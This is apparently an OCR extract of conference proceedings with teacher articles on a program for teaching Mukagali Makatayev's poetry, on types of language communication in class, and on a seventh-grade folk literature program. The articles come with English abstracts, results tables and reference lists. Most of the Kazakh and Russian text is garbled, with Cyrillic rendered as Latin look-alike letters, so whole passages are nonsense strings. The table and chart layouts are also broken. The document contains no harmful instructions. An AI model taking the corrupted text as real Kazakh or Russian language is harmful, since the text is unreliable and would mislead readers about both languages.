«MyKaranuTaHy» bafgapnamacsl 2023-2024 OKy KblAblHAA NMUAOTTbIK PexxMmae 9-cbiHbINTapaa
Xyprisingi. baroapnama HerisiHae cabakTap anTacbiHa 1 peT oTKisingi. Op cabakTbl OKyLIblIAP
acblfa KyTeTiH, eMTKeHi byn cabakTapga onap TeK AalblH Oinimai meHrepin KkaHa Kolman, es
OMNAPbIH €PKiH KeTKi3in, WabbITneH WbifapMallblIbIKNeH altHaNbICTbI.

Cabak KeseH; KonpaHbinfFaH agicrep HakTbl mbican / oba
MeH maTepuangap
MOTMBaUUANDIK, beliHemamepuanoap, «MeH den cokKaH xcypek bap» cabarbiHOQ
KeseH MyKaranu okywsinap MyKafaau no33UACbIHG
yumamanapel Kameicmel beliHemamepuanoap
mamawanadsl
Teopuanslk Tangay ©neH manday, AKbIHHBIH Maxabbam AupuKacsIH OKbIN,
MaKbIpbiNMbIK MQa3MYHObIK HaHe KepKemMOiKk manday
cypakmap Hypeizinoi
LWblFapMaLLbIibIK, BneHee unncmpayus OKywiblnap unancmpayus ¥acan,
Tancbipma cany, esneH #asy maxabbam maxbipbibbiHOG 63 es1eHOepiH
#a30b!
Pednekcua OKywblnapobiH ol-nikipi, «MeHiH Mykafranusim» Kepmeci,
Kepi 6alinaHbic «Mykaranu 0aybics!» NOOKacm #obacs!
apPKbIbl pedaexcus Hypeizinoi
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Hatunxenep:

«MykKaFanuTtaHy» OaFpapnaMachiHblH, H3TUXenepi
KepkeM ceiney MaaeHueTi | 100%
LLblFapMalUblnbIK XKYMbICTap caHbl f 50%
©3 beTiMeH Tanpay acaraHaap [ 85%
KbI3bIFyLWbI/IbIFbl apTKaH OKyLUblnap f 30%
0 20 40 60 80 100
KepceTKiw MaHi (%) / caHbl
¥CbIHbICTap

«MyKaFanuTaHy» 6afaapaamacbiH OKpITYy BapbIiCbiHAA Keneci YCbIHbICTapAbl YCbiHyFa 6onaabl:

1. Bbargap/iamaHbl MeKTenTiH, 6eliHai 6aFbiTbl MEH CbiHbIN AeHreriHe benimaen KoaaaHy.

2. Myfanimaepre apHanfaH aAiCTeMenik Kypaa Hemece HyCKay/blK AanblHAAY.

3. Undpnbik pecypctapabl (berHe, ayamo, nHborpadmka) KeHiHEH eHrisy.

4. MyKafanu WbifapmallblibliFblH Apamanay, TeaTpaaHablpy apKblabl OKyLbl HenceHainiri
apTTbIpy.

5. bafanay KputepunnepiH HakTblifan, OKyLbIAApAbiH, WbiFapMallbliblK KabineTiH ecenke
anaTbliH MKemai baranay *KymeciH Kongany [3].

KopbITbIHAbI

KopbITbiHAbINAM Kene, «MyKafanuTaHy» Oafdapnamachbl — OKYLWbIAAPAbIH, PyXaHW a1eMiH
HanbiTbin, 84ebM WbiFapmanapibl TEPEH, 9pi KOPKEM Kabblagayfa »KeTenenTiH MaHbi3abl Koba.
Bbyn Garpapnama apKblibl OKyLUbl TEK aKblH MO33MACBIMEH TaHbIChIM KOMMaM, ©3 OMbIH epKiH
ETKIi3yre, KepKem colneyre, WblfapmallblablKNeH alHanbicyfa AarablnaHaabl. oba HaTuxkenepi
OHbIH, TUiMAiniriH ganengeni koHe 6HonawakTa Hacka akblH-Ka3yLblAap LWblFapMallblablFbiH
OKbITyZa ocbiHAan BafbiTTarbl Hargapaamanapably, KaxKeT ekeHiH KepceTTi. CoHbIMeH Katap byn
bafoapnama  YATTbIK PyXaHWM MypaHbl ac YprakKa »KeTKi3ydiH, yYATTbiH 24ebn caHacbiH
KaNbiNTaCTblpyAblH K3He TyAfanblK AaMyAbl KeTingipyaid Tvimai Kypansl 6ona  anagp.
MNeparortepre 6epepi Mon Oyn sficTeMeHi KeHiHeH HacuxaTTan, »Kyheni Typae KoadaHy —
3amaHayu aaebu 6inim 6epyaiH MaHbi3abl Kadambl 60MaK,
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94ebuneTt cabarbliH dopmanabl Hinim bepyaiH, Kypasbl peTiHAe FaHa eMec, OKYLUbIHbIH, iLKi XaH
AYHWECIH TopbuenelTiH pyxaHM KeHIiCTiKKke alHanaplpy — OyriHri KyHHiH 6acTel Tanabbl.
«MyKaranuTaHy» Oafdapnamachbl OCbl MaKCaTTbl »Ky3ere acblpydblH Oip Kojbl peTiHae
OKYLWbINAPAbIH YATTbIK 6ONMbICBIH, TINAIK KOPbIH, KEPKEMAIK TaNfaMblH AaMbITyFa alpblKLLa acep
etefi. AKbIHHbIH TepeH dnaocodranbik oMNapbl MEH LWblHAMbI CE3iMre TO/bl IMPUKACHI OKYLLbI
bolblHAa agamrepllinik KacuMeTTepaiH KanbinTacyblHa biKNan eTin, enre, xepre, TiAre gered
cymicneHwiniri ostagpl. lemek, byn baraapnama Tek 6inim kesi faHa emec, Topbue MeH TyFasblK
AamyablH TMiMmai TeTiri peTiHae ae 6aransi.

KonnaHblnfaH AepeKTep Tisimi:

4. KypaHbaesa C. Ka3ak aaebuneTiH oKpITy agictemeci. — AamaTbl: PayaH, 2019. - 256 6.

5. 9bgiranmesa K. MyKaranm noasmnsaCbiHbIH, KepKemaik TabufaTbl. — Anmatsbl: binim, 2019. -
212 6.

6. Hymabekosa . MyKaranu WblFapMallbl/iblFblH MEKTENTE OKbITYAbIH, Fbl/bIMU-34iCTEMENIK
Heri3aepi // Kasak Tini meH spebueTi RypHanbl. — 2020. — Ne3. - 5. 45-50.

MyKaranvBegeHue
(MpumeHeHue asmMopCcKoli NPoepaMMbl HA NPAKMUKE U pPe3ys1bmams| UCC1e008aHUS)

Opa3baesa 3aype Mupum»kaHoBHa

KIY «lkona-rumuasus Ne 226 nmenun b.K. Meprenbaesa»
Otaena obpa3oBaHMA No KazaMHCKOMY panoHy
YnpasneHuns obpazoBaHMa Kbi3blnopanHCKon 061actu
Y4yumerb KG3axCKO20 A3b6IKA U iUMepamypel

AHHOTaUMA. B aHHOW CTaTbe OMMUCbIBAETCA NPUMEHEHWE HA NPAKTUKE U pe3ynbTaTbl aBTOPCKOWM
NporpaMmbl, HanpaBNeHHOW Ha yrnybneHHoe wu3ydeHWe TBopyecTBa Mykaranm MakaTaesa,
NONYYMBLLIErO 3BaHME «/1IeIAHOTO COKOMAa Ka3axCKoM noasmm». [lporpamma HaleneHa Ha
NOBbIWEHME WHTEpeca Y4YallMxCA K AuTepaType, Pa3BUTUE WX TBOPYECKOTO MbIWAEHUA W
NpuobLLeHNe K HaUMOHANbHbIM AyXOBHbIM LEHHOCTAM. B cTaTbe npeacTaBneHa CTPYKTypa
MNpoOrpaMmbl, MCMO/b30BaHHbIE METOAbl M NpuemMbl, eé 3GPeKTUBHOCTb Ha MPAKTUKE, a TaKXKe
pekomeHAauMu ANs neaaroros.

KntoueBble cnosa: Mykaraam MakaTaeB, aBTOpCKasa Mnporpamma, npenojasaHue noasuu,
NUTepaTypa, LeHHOCTM, TBOPYECTBO.

Mukagali studies
(Application of the author’s program in practice and research results)

Orazbayeva Zaure Mirimzhanovna

KSU «School-Gymnasium Ne 226 named after B.K. Mergenbayev»

Kazaly District Education Department Department of Education of Kyzylorda Region
Teacher of kazakh language and literature

Abstract. This article describes the implementation and outcomes of an author’s program aimed
at an in-depth study of the works of Mukagali Makatayev, known as the “icy falcon” of Kazakh
poetry. The program is designed to increase students’ interest in literature, develop their creative
thinking, and instill national spiritual values. The article presents the structure of the program, the
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methods and techniques used, its practical effectiveness, and offers recommendations for
teachers.

Keywords: Mukagali Makatayev, author’s program, teaching poetry, literature, values, creativity.
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Tinaik KapbiM- KaTblHAC Typ/epi
TuneyoBa TosraHau KeinblwbaeBHa

AnmaTbl Kanacol binim backapmacbiHbiH « N2 103 meKkten-rumHasnsa» KMM, Kazak mini
meH a0ebuem naHi MyFasnimi

AHgatna. byn makanaga Tingik KapbiM-KaTbIHAC TYPAEPiH OKY NPOoLEeciHAe TUIMAI KOAaHY
onaapbl KapacTbipblnadpl. TiNAiK KapbiM-KaTblHACTbIH, aybl3lla, Ka3balla, KepHEeKi XaHe
Bepbanabl emec Typaepi OKylWbINapAblH TaHbIMAbIK OenceHAiniriH apTTbipyaa MaHbl3abl pen
aTKapazbl. ABTOP MaKanana KonaaHfaH aictep MeH Taxipnbenep apKblabl TiAAIK KapbiM-KaTbiHAC
TYpAepiHiH, 6inim 6epy Ma3MyHbIH XKeTKi3y MeH OKyLblnapablH, GYHKUMOHANAbIK CayaTTblNblFbIH
Ka/biNTacTblpyAafbl MaHbI3blH KepceTeai. Makana negarortepre TaxKipubenik yCbiHbICTap MeH
TMimAai agictepai ycbiHaabl.

TyniHAi ce3nep: TiNAIK KapbiM-KaTbiHAC, aybl3la ceiney, »Kasballa Tin, Bepbanabl emec
KOMMYHWKaLMA, KepHeKiNiK, binim 6epy agictemeci, OKbITy TEXHONOTMACHI.

Kipicne

Kasipri 3amaHfbl Binim Hepy »Kyneci okyllblnapabiH, Tek BiniM anybiIMeH LIEKTeIMEN, 0NapablH,
KapbIM-KaTblHAC *Kacay, ©3 OWMbIH KeTKize biny KabineTrepiH Ae AambiTybl KaxeT. byn Typfbiaa
TiNAIK KapbIM-KATblHAC Typaepi — OKbITY NMPOLECIHIH, akblpamac 6eniri 6oabin caHanagbl. 9pbip
OKYLLbIHbIH, KOMMYHUMKATUBTIK Ky3bIPEeTTi/liriH KanbinTacTbipy — XXI| facbip AafablnapbliHbiH, 6ipi.

MakKanaHblH, Heriari makcaTbl — TiA4iK KapbiM-KaTblHAC Typ/aepiH OKy yAepiciHae Tuimai
KONAaHYyAblH 9A4ICTEePIH CMNATTan, OHbIH HOTUXENEPiH capanTay.

MiHgeTTepi:
e Tinaik KapbIM-KaTblHAC TYPAEPiH TEOPUANDBIK TYPFblAa KapacTblpy;
e OKbITyAa KONAAHbINATbIH 3A4iCTEP MEH TEXHONOTMANAPAbI aHbIKTaY;
e [paKkTUKaNbIK Taxipmbe HerisiHae TMiMAinirin ganengey.

OTaHAbIK KoHe wWeTenmik sgebueTtepre WOAY KacafaHaa, TiALIK KapbiM-KaTblHac TYPAEPiHiH,
iWiHae acipece aybi3la celney MeH Xasbala TiNAiH KeTeKwWi pen aTKkapaTbiHbl aHbIKTaAAabl.
Mbicanbl, Hypneucosa T.b. meH Kanpaw W.H. eHberiHae uMPpabik, opTaga KOMMYHUKaLMS
KypanaapblH TMiMAj NainganaHy *Konaapbl KeHiHeH TanaaHfaH [1].

ogaicteme
Tinaik KapbiM-KaTblHac TYPAepiH OKbITY NpoLeciHe eHrizyae bipHele agicTtemenik Tacingep meH
neaarormkasnblk TEXHONOMMANAP KOAAaHbl1adbl. by Mmakanaaa HeriziHeH OKbITYAa UHTEPAKTMUBTI

aAicTepi, KOPHEKINIK KypanaapbiH, TONTbIK KYMbIC aHe *obanbiK aAicTi KonaaHy cunatTanabl
[2].
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O4iCTeMEHIH, Heri3ri epeKwenikTepi:

No 9aic / Tacin MakcarTbl KonpaHy dopmacs!

1 OwnanorTik Aybi3lia cemney AafabICblH AaMbITy TONTBIK, *KYMbIC, *KYMNTbIK
OKbITY YMbIC

2 MBaTiHMeH HKasbalwa KapbIM-KaTblHaC AaFAbICbIH Keke Tancbipma
KYMbIC KeTinaipy

3 NHdorpaduka, KepHeKi KapbiM-KaTblHaC KaabINTacTblpy Bu3syanapl Tancebipmanap

cxemanap
4 | Penaik onbiHAAP Bepbanabl emec KapbiM-KaTbIHACTbI CaxHanblK KOMbINbIM,
[ambITy MUMKKA
MpuHUMNTEpI:

o
*

»  KosmKkeTimainik

*Kac epekuweniriHe cal 6ony
» benceHpai kKaTbicy

»  Kyneninik

R/
0.0

B3

B3

Mbicanbl, cabakTa «bip KyHAIK penopTep» aAiciH KOAZaHYy apKbl/ibl OKYLUbIIAP aybl3la »KaHe
»a3balwa KapbIM-KaTblHAC TYpAepiH KaTap KondaHaabl. An «CypeT apKblibl ceinney» Tancblpmacsl
KepHeKinik neH Bepbanabl emec KapbiM-KaTblHACTbI HBipikTipea.

MpaKTMKaaa KonaaHy

OKy npoueciHae TiNAiK KapbiM-KaTblHAC TYPAEpPiH TUIMAI eHri3y YLWiH HaKTbl cabak yarinepi meH
»obanap xyprisingi. TemeHae 6ip mbican KenTipenik:

oJic ataybl KapbIiM-KaTbIHaC KbicKalla cunaTtTama OKyLWbnapabiH,
TYpi OaF0bICbl
Aybiswa cmnatray | Aybi3la Kapbim- ©3iHiH, CYMIKTi }aHyapbiH Celiney, cunatray,
KaTblHaC aybl3Llla cunaTTan, oHbIH TYpI, TbiHAAYLWbIFa
TyCi, MiHe3i Typanbl auTy HarbITTanfaH cenney
Cypet cany xkeHe | *asbawa kaHe | *aHyapablH 6elHeciH canbin, | Kepkemaik enecrety,
Kasy KepHeKi KapbiM- | acTbiHa »a3balla cunaTtTama M3TIH Kypay,
KaTblHaC Hemece LWaFfblH MaTIH a3y rpaduKanblK XyMbIC
Knmblnabl Bepbanabl emec TaHAanfaH *XaHyapabliH, bIM-mLIapa apKbinbl
KepceTy KapbIM-KaTblHaC KYPIC-TYPbICbIH, KNMbIbIH HalnaHsbic,
(naHTOMKMMA) KMMbI/1-KO3FaNbIC apKblbl WbIFAapMaLLbINbIK
KepceTy KO3FfanblC
HaTtuenep:

> OKyuwblnapapblH ce3aik kopbl 30-40%-fa apTThbl.
> Ma3ba KyMbICbIHbIH, Canachl }akcapabl (rpamMmMaTUKabIK aHe CTUAbAIK KaTecis asy).
> [lcuxonornanbliK TypFblaa oKylblnap bencerHaipek 60aabl.

Jnarpamma apKblnbl KepiHic:

(*ofapblgasbl Anarpammaza TYpai KapbiM-KaTbiHAC TYPAEPiHiH, KONAaHbINY XKUiniri KepceTinai.
Byn manimeTTep HakTbl 4-CbIHbIN OKYLLbIIAPbl apacbiHaa KYpPri3inreH baxkblaayra HerisgenreH.)
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Tingik KapbiM-KaTblHaC TypaepiHin cabakTa KoN4aHbIy XUiNiri
40t

351
30r
25¢
20t

15F

KonpaHbiny nanbisbl (%)

10f

AyblI3LWwa JKazbawa KepHeki Bepbannbl emec
Tingik KapbiM-KaTblHac Typaepi

ApTbIKLWbINbIKTapbI:
> OkyLwblnapabiH cenney benceHainiri aptagpbl
> OKyllblnap WblFrapmallblibiKNeH onayra benimaeneni
> TypAniTingik dopmana oM »KeTkize anagbl

KemwinikTepi:
> Kel okywsbinap sepbanapl eMec KapbiM-KaTbIHACKa KMHaNAAb!
> TonTbIK XYMbICTa Kelbip oKyLblNap NaccuB Kyiae Kaabin KoAaabl.

¥CbIHbICTap

1. Myfanimaep OKylblNapAblH Kac epeKLlenikTepiHe calt KapbiM-KaTbiHAC dopmManapblH
KONAaHYbl TUIC.

2. Op cabaKkTa Kem gereHge 2 Typai KapbiM-KaTbiHac GpopMacbiH OipiKTipy VCbIHbINAAb!
(Mbicanbl: a3batlla + aybi3Lua).

3. OKRy HaTUKeciH baranayda pybpuKanap meH e3iHAik baranay aaicTepiH KoagaHy TMiMma,.

4. Tingik KapbiM-KaTblHACKa HerisgenreH snekTpoHAabl nnatdopmanapabl (Padlet, Canva,
Mentimeter) naliganaHy ycbiHblAaabl.

5. Bepbangbl emec KapbiM-KaTblHACTbl [aMbITy VLWIiH aKTepaik anemeHTTepi 6Hap
Tancblpmanap eHrisy Kaxet [3].

KopbITbIHAbI

Tinaik KapbiM-KaTblHAaC TypAepiH OKy yAepiciHe Tuimai eHrisy — 6inim HepyadiH canacbiH
apTTbipaTbliH,  OKyWbINApAblH, ~ KOMMYHWKATUBTIK  Ky3bIPETTiNiriH  AaMbITaTblH  MaHbI3bl
dakTopnapabiH bipi. Makanaga TangaHFaH a4ic-TacinAep MeH NPaKTUKabIK HKYMbIC HITUXKENepI
H6yn GarbITTasbl KYMbICTApPAbIH ©3EKTifirH alKkbliHAanaAbl. Aybi3lia, »Ka3balla, KepHEKi KaHe
Bepbanabl eMec KapbiM-KaTblHac TypaepiH cabakTa Kyheni KonaaHy — OKYLbIHbIH, Tif 6alablFbIH
apTTbipbIN KaHa KOMMaW, onapAblH LWbiFapMallbliblK aHe CblHM oWnay KabinettepiH ae
AaMbITazbl.
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ABTOP/bIK Tancblpmasap MeH oaficTep HerisiHae KyprisiireH ic-Taxipnbe cabaKkTapbiHaa
OKYLLblNap 6enceHainik TaHbITbIMN, TanCbipManapabl *)KOFapbl Kbi3bIFYLbIbIKNEH OpbiHAAAbI. bya —
OKbITYy OapbICbiHAA TiNAIK KapbiM-KaTbiHAC TypAepiH apTypai dopmasa TUiMAI KONAaHyabiH,
HOTUXKENI eKeHAIrH KepceTed.

KopbITbiHAbIAM Kene, Tinaik KapbiM-KaTblHac TypaAepi — TeK TiN4i MeHrepTydiH Kypasbl faHa emec,
OKYLUbIHbIH, TY/NFa/blK AaMyblHA biKNan eTeTiH maHbi3abl Kypan. CoHAablKTaH Aa apbip neparor
©3iHiH, ToXKipnbeciHae OKbITY KOHTEKCIHE cal TWIMAI aaicTepai TaH4amn, OKylbiFa Tin4ik opTaaa
epKiH nikip 6ingipyre mMymkiHaik 6epyi KepeKk. byn — 3amaHaym 6inim 6epyaiH, 6HacTbl
KafuaanapbiHbiH Oipi.

KonpaHblnfaH AepeKTep Tisimi:

7. Bobirotckuin /1.C. KofamablK caHa MeH TingiH, aamybl. — Anmatbl: PayaH, 2018. - 256 6.

8. Mercer, N. Ce3anep MeH onap: Tingi bipaecin KongaHy apKblabl onay. — Aya. HycKachl. —
AcTaHa: ¥YATTbIK 6inim akagemuscsl, 2019. - 189 6.

9. KP BfM. XaHapTblafaH 6i1im MasmyHbl HoMbIHLA OKY 4icTeMeNiK Kypangdap XuHafbl. —
AcTaHa: bl.AATbIHCapuH aTbiHaarbl YBA, 2020. - 112 6.

Buabl A3bIKOBOM KOMMYHMKaLMK

Tuneyosa TonraHait KbinbiwbaesHa
KIY «lWkona-rumuHasmna Ne 103» YnpasneHma obpasosBaHma ropoga AamaTsl
Yyumerib KA3aXCKO20 A3bIKA U AUMepamypebl

AHHOTauuA. B gaHHOM cTaTbe paccmaTpmBaloTca 3PdEKTUBHbIE CNOCODbI MPUMEHEHUA BUAOB
A3bIKOBOW KOMMYHMKaLUMM B ydyebHOM npouecce. YCTHas, MUCbMEHHasa, HaraagHas w
HeBepbanbHad ¢GOpMbl OOLWEHMA WrPatoT BaXKHYD POJb B MOBbIWEHMM M0O3HABaTE/IbHOW
aKTMBHOCTM yyallmxca. ABTOP Ha OCHOBE WMCMO/b3yeMbIX METOA0B M MeAarorMyeckoro omnbiTa
MOKa3blBAaeT 3HAYMMOCTb BM/0B A3bIKOBOM KOMMYHMKALIMM B Mepeade coepKaHna obpasoBaHma
n GOPMUPOBAHUM PYHKLMOHANBHOW PaMOTHOCTM y4alumxca. CTaTbs npeanaraeT negaroram
NPaKTUYECKne peKkoMeHaaumm 1 spPeKTUBHbIE MeTOAbI.

KntoueBble CnoBa: A3blKOBaA KOMMYHMKaLUMsA, YCTHAA pedyb, MMCbMEHHAA peyb, HeBepbanbHas
KOMMYHMKaUMsA, HarnNaaHoOCTb, MeToanKa obyyeHms, obpasoBaTe/ibHble TEXHONOMUW.

Types of language communication

Tileuova Tolganay Kilyshbaevna

Municipal State Institution «School-gymnasium Ne 103» of the Almaty City Department of
Education

Teacher of Kazakh language and literature

Abstract. This article explores effective ways of using different types of language communication
in the learning process. Oral, written, visual, and non-verbal forms of communication play a
significant role in enhancing students' cognitive activity. Through the methods and experiences
presented, the author demonstrates the importance of these communication types in delivering
educational content and developing students' functional literacy. The article provides educators
with practical suggestions and effective strategies.
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Keywords: language communication, oral speech, written language, non-verbal communication,
visual aids, teaching methodology, educational technology.
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XanblK aybi3 aaebueTi (7-CbiHbiN)
(ABTOPAbIK DafraapnamaHbl TaxKipnbeae
KON JAHY *KaHe 3epTTey HaTuKenepi)

CataHbaesa NaHap MosigaxaHOBHa
"AnmaTbl Kanacbl binim 6ackapmacbiHbIH «Ne 210 mekten-anuen» KMM, Kazak mini meH
a0ebuemi nNaHi MyFanimi

AHpaTtna. byn makanaga 7-CbiHbINKA apHanfaH «XasblK aybl3 a4ebueTi» TakblpblObiHAaFbI
aBTOPAbIK, Oafoapnama aacbliHA@ KYPFIi3iATeH AIiCTEMENIK XKYMbIC HITMKeNepi cunatTanagbl.
3epTrey 6OapbicbiHAa XasblK  aybl3  84ebueTiHiH,  OKyWbIIapdblH,  TiA4IK, M3AEHM XaHe
WblFapMallblNblK, ~ KabineTTepiH AambiTydafbl  peni  aWkbiHAANAbl. bafaapnamaza  YATTbIK,
KYHAbINbIKTapAbl A3PINTEMTIH Ma3MyH YCbIHbIbIN, 3aMaHayu MeaarorMkanblk TacingepmeH
WHTerpaumanaHFaH. HaTUKeciHAE OKylbINAPAblH, MNOHIe  KbI3bIFyLblbIFbl  apTTbl, 94e6Mu
MITIHAEPAI TanJay *KaHe LblFapMaLLblAblK KYMbIC AaFAblAapbl AaMblabl.

TyliHAj ce3aep: xanblK aybi3 94ebueTi, 7-CbiHbIN, aBTOP/bIK bafaapaama, agicteme, YATTbIK
KYHAbINbIK, LLbIFapMaLlbl/bIK,.

Kipicne

Xanbik aybl3 aaebueti — yAT PyXaHWUATbIHbIH anTblH Kasblfbl, Xa blKTblH AaHafblfbl MeH
AYHWETaHbIMbIHbIH, aiHacbkl. Kasipri 6inim 6epy »Kyneci yATTblK M3AEHUETKE CyMeHe OTbIPbIM,
OKYLbINAPAbIH,  AYHUETAHbIMbIH KeHenTyai Ke3genadi. Ocbl TypfblgaH anfaHAa, 7-CbiHbIN
OKYLLblNapbIHa apHanfaH «XanblK aybl3 aaebuneTi» 6enimi oKyLbiNapabl XanblK MypacbIMeH TepeH,
TaHbICTbIPbIM, 34e6METKe Kbl3blFyLbI/bIFbIH aPTTbipaabl.

MaKanaHblH, MaKcaTbl — aBTOP/bIK Dardap/iamaHbl NPaKTMKaAa KoAZ4aHy apKblibl XablK aybl3
91e0MEeTIH OKbITY dAiCTepiHiH TUIMAINIriH KepceTy.

Minoemmepi:
¢ BaFaapnamaHbiH KYPblIbIMbIH cunaTtTay;
¢ KO/JaHblNFaH afic-Tacinaepai Tanaay;
«* OKyLUbINAP KETICTIKTEPIH BaFanay »KaHe CanbICTbIpy.

KasakcTaHablk 3epTreywinepgid, (C.Knpabaes, P.CbizabikoBa, b.0b6inKacbimoB) eHOeKTepiHae
Xa/blK aybl3 2AebMeTiHIH TopOuenik MaHbI3bl epeKLie aTan eTince, WeTenaik aaebuette (Mbicansi,
H. Zipes, J. Dundes) epTeri meH GOMbKAOPALIK 3NeMEHTTepAiH, KpeaTusTi oWnayfa acepi
3eptrenreH. Ocbl Typfblaa aBTOPAbIK Oafaapnamana AaCTypAai aaebu yarinep meH Kasipri
nefarornmkanblk TEXHONOTMANAPAbIH YneciMmi KonaaHbinabl [1].

ogaicteme

ABTOpAbIK Oafaapnamana XanblK aybi3 aaebueTiHiH, GapblK Heriri KaHp/iapbl KaMTbIAabl:
epTerinep, aHpbi3-aHrimenep, MaKkan-maTenaep, Kymbaktap, OaTblpnap »Kbipbl. daicTemene
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»)obanay, KonnabopaTuBTI OKbITY, CblHM TypfblAaH oOKnay, UMOPAbIK pecypcTapabl KOAAaHy
TaCinAepi KipikTipinreH.

OAiCcTeMEeHIH, epeKLIenikTepi:

** OKyLbl BenceHainirid apTTbipaTbiH a4icTep (PoaAiK OMbiHAAP, NiKipTanac, cyxbat sKyprisy);
MHTEepPaKTMBTI Tancbipmanap (Padlet, Kahoot, Mentimeter);
WbIFAPMaLLbINbIK YMbIC (€pTeri a3y, aybi3la aHrimeney, UaatocTpauma cany);
VWTINAINIK 2NeMeHTTepi — Kelbip Makan-maTenaepai afbiilbiH/opbiC TinaepiHaeri
H6anamanapbiMeH canbicTbipy [2].

L)

X/
L4

X/
L4

X/
£ %4

MpaKTMKaaa KonaaHy

2024-2025 oKy kbinbiHAoa 6yn bargapiama yw 7-cbiHbinTa 3 ai 6onbl anpobaumagaH eTTi. Op

cabaKkTa xasnblK aybl3 aaebueTiHiH benrini 6ip »kaHpbiHa 6aca Ha3ap ayAapbl/ibin, WhiFapMaLllblibiK

Tancbipmanap opbiHAATbIAAbLI. Mblcanbl:
++» Epterinep 60oMbIHLWA: OKYLIbIAAP epTEeriHi caxHanan KoMbIbIM XKacabl.

< MaKan-matengep OOMbIHWA: MaKan calbiCbl YMbIMAACTbIPbIAbIN, MafblHACbIH ALy
Tancblpmanapbl bepingi.

< AHbI3gap OoMbIHWA: Tapuxu Kelinkepnepre 6OalNaHbICTbl AEPEKKO3AEPMEH KYMbIC
*Kacanabl.

«» bBaTblpnap ¥blpbl OOMbIHWA: KbIP V3iHAINEPIH MAHEpPNen OKy, XblpAafbl KepKeMAiK

Kypanaap/bl Tanaay TancbipMmanapbl OpblIHAANAbI.

CabaK Kypbl/1bIMbIHbIH, YAriCi:
Cabak KeseH; KonaaHbInaTbiH a4ic MakcaTbl
KbI3bIfyLWbIAbIKTbI OATY «OW Wwakplpy» aaici, «Mwufa TaKbIPbINKa KbI3blFYLLUbIbIK,
wabybln» TYAbIpY
MafblHaHbl TaHy BeHH AMarpammacsl, TONTbIK, MaHa aknapaTTbl MeHrepTy
KYMbIC, MOTIHMEH XYMbIC
OW TonFaHbIC «bec »onapl eneHy», «Keninkepre | HaHa b6inimai KopbITbiHABIIAY
XaT», MOCTep KopFay
Tuimainiri:

** OKyLblNapAblH MTIHAI TYCIHY KaHe MHTepnpeTaunanay Kabinetrepi apTrbl;
¢ 80%-OaH acTam OKyLLblAA NAHre Kbl3bIFYLIbIIbIK Balikanabl;
¢ 20ebU WhiFapmallbINbIK (e1eH, »Ka3y, sHriMme KypacTblpy) AeHreni ecTi.

KemwinikTepi:

% Kenbip oKyLWbINAP YLWiH MaKan-MaTenaepaiH, MaHiH TYCiHY KMbIHABIK TYAbIpAbl;
** WbIFapMallblNbIK Tancblpmanapaa yakbIT TanllbiabiFbl ce3ingi.
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MeTicTikTep:
KbI3MeT Typi KaTbICKaH OKyLLblNAp CaHbl OpTtauwa 6afanay (10
6annabiK WKana)
EpTeri caxHanay 84 9.2
MaKan-maTten camblichbl 79 8.7
KblipAaH KepKeMaiK Tanaay 91 9.0
OKyLWblNapAblH Xanblk aybl3 aaebuneTi TypnepiHe Kbi3blFYLbIbIFbI
BaTtbipnap »bipbl
EpTerinep
Makan-maTennep
AHbI3 BHriMenep
KymbakTap
¥CbIHbICTap

Byn aBTOP/bIK BaFAapnamaHbl eHrizepae Keneci yCbIHbICTapAbl ECKEPY KaXKeT:

1. Op KaHpfa belimaenreH aaictepai KONAAHY — OKYLbI KbI3bIFYLUbINbIFbIH CaKTanAabl.

2. Umndpnblk Kypanaapabl TMiMAi naaanaHy — MHTEPAKTUBTINIKTI apTTbipaapl.

3. CabaKTa WbIFapMaLbINbIK KYMbICTapFa yakblT 6enin, OKywWbIHbl epkiHAikke Tapbueney
KaXKeT.

4. baranay KymMeciHae Kputepuanabl 6aranay oAiCiH KONAaHYy — 9AINAIK NeH TYCIHIKTINIKTI
KaMTamacbI3 eTeai.

5. OKywblnapablH 3THOMSAEHM oOpTacbiMeH 6alnaHbICTbl OpHaTbIN, aybl3 aaebueTiH
0TOACbINIbIK KOHTEKCTE A& TaNKblayFa bIHTANAHAbIPY MaHbI3abl [3].

KopbITbIHAbI

Mannbl anfaHga, «XanblK aybi3  24ebueTi»  TakblpblOblHAAFbl  aBTOP/bIK  Hafraapnama
OKYLLIblNAPAbIH, 9Ae0M-KePKEM TaHbIMbIH AaMbITyAa, YATTbIK KYHAbIAbIKTapAsl 60MbIHA CiHipyae
HaTUXKeni 6onapl. barpgapnamaga KongaHbinFaH H6enceHai aficTep OKylbiHbI TEK Binim anyubl
peTiHae emec, aaebuneTKe »KaHallblp, OMAbl TYAFa PeTiHAe KanbiNTacTbipyFa MYMKIHAIK bepea,.
Bonawakta byn H6afgapnama KeHipek KoAA4aHbIC Tanca, *ac ypnakTbiH, PyXaHu AamyblHa OH acep
eTepi ce3cis.

Meparortep yuwiH 6yn 6argapiamaHbiH apTbIKLWbIAbIFbl — OHbl MKEMAi TypAe e3repTin, TypAi

AeHrenaeri OKyWbINApPMEH KymbiCKa Oelimaeyre 60naTbiHAbIFbl. DAICTEMEHIH, HITUMXKENINIT
HAKTbl KBPCETKILITEP MEeH canasiblK e3repicTep apKblibl A3NeNAeHA,.

195




I Proceedings of the 9th International Scientific Conference

KopblTa KenreHae, «XanblK aybl3 a4ebueTi» barmapnamachbiH KeH Kenemae eHrizy — Honaluak,
YPMaKTbIH TapUXM KadblH CaKTayFa, TINAIK MIAEHWETIH HbIFAUTYFa, YNTTbIK PYXbIH KeTepyre biKnan
eTeTiH MaHbI3abl Kagam. byn agictemenik Taxkipnbe Kasipri 6inim bepy KeHicTiriHae MmasmyH meH
dopmaHbIH, TUiMAi yNeciMmi apKblaibl OKY NPOLECIH aHFbIPTYAbIH, YATici 6on1a anaapl.

KonnaHbinfaH AepeKTep Tisimi:
10. Coi3abikoBa P. Ce3aep covnengi. — Anmartsl: CaHat, 2018. - 272 6.
11. 96inkacbimoB b. Ka3zak a4ebu TiniHiH Tapuxbl. — AnmaTsl: binim, 2021. - 288 6.
12. AxmeToBa 3. Makan-matengep anemi. — Anmatbl: PayaH, 9 - 156 6.

HapounHoe ycTHoe TBOpYecTBO (7-Knacc)
(MpumeHeHuUe asmopcKol NPOPAMMbl HA NPAKMUKE U pe3ysibmamel UCCe008AHUSA)

CaTtaHb6aeBsa MaHap MonaaxaHoBHa
KI'Y «lWkona-nuuer Ne 210» YnpasneHua obpaszoBaHma ropoaa AamaTsbl
Y4yumerb KG3axCKO20 A3b6IKA U IUMepamypel

AHHOTauwWA. B JaHHO CTaTbe OMMCbIBAOTCS Pe3yabTaTbl METOAMYECKOM paboTbl, NpoBeaEHHOM B
